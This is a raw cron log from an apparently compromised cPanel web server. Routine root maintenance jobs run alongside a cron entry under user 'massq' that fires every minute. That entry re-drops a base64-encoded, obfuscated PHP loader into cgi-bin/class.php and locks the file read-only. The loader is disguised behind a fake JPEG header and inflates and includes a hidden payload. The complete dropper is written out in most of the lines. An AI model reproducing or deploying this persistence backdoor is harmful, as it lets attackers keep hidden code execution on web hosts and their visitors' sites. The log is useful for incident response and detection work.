Sep  4 13:50:01 server CROND[19721]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:51:01 server CROND[20552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:51:01 server CROND[20553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:51:01 server CROND[20554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:52:01 server CROND[20938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:52:01 server CROND[20939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:52:01 server CROND[20940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:53:01 server CROND[21430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:53:01 server CROND[21431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:53:01 server CROND[21432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:54:01 server CROND[21814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:54:01 server CROND[21815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:54:01 server CROND[21816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:55:01 server CROND[22204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:55:01 server CROND[22206]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:55:01 server CROND[22207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:55:01 server CROND[22211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:55:01 server CROND[22210]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:55:01 server CROND[22208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:55:01 server CROND[22209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:56:01 server CROND[23269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:56:01 server CROND[23270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:56:01 server CROND[23271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:57:01 server CROND[23659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:57:01 server CROND[23660]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:57:01 server CROND[23661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:57:01 server CROND[23663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:58:01 server CROND[24191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:58:01 server CROND[24192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:58:01 server CROND[24193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:59:01 server CROND[24566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:59:01 server CROND[24567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:59:01 server CROND[24568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:00:01 server CROND[24968]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:00:01 server CROND[24973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:00:01 server CROND[24971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:00:01 server CROND[25001]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:00:01 server CROND[25008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:00:01 server CROND[25011]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 14:00:01 server CROND[25010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:00:01 server CROND[25009]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 14:00:01 server CROND[25020]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:00:01 server CROND[25019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:01:01 server CROND[25899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:01:01 server CROND[25900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:01:01 server CROND[25901]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 14:01:01 server CROND[25903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:01:01 server run-parts(/etc/cron.hourly)[25901]: starting 0anacron
Sep  4 14:01:01 server run-parts(/etc/cron.hourly)[25920]: finished 0anacron
Sep  4 14:02:01 server CROND[26284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:02:01 server CROND[26285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
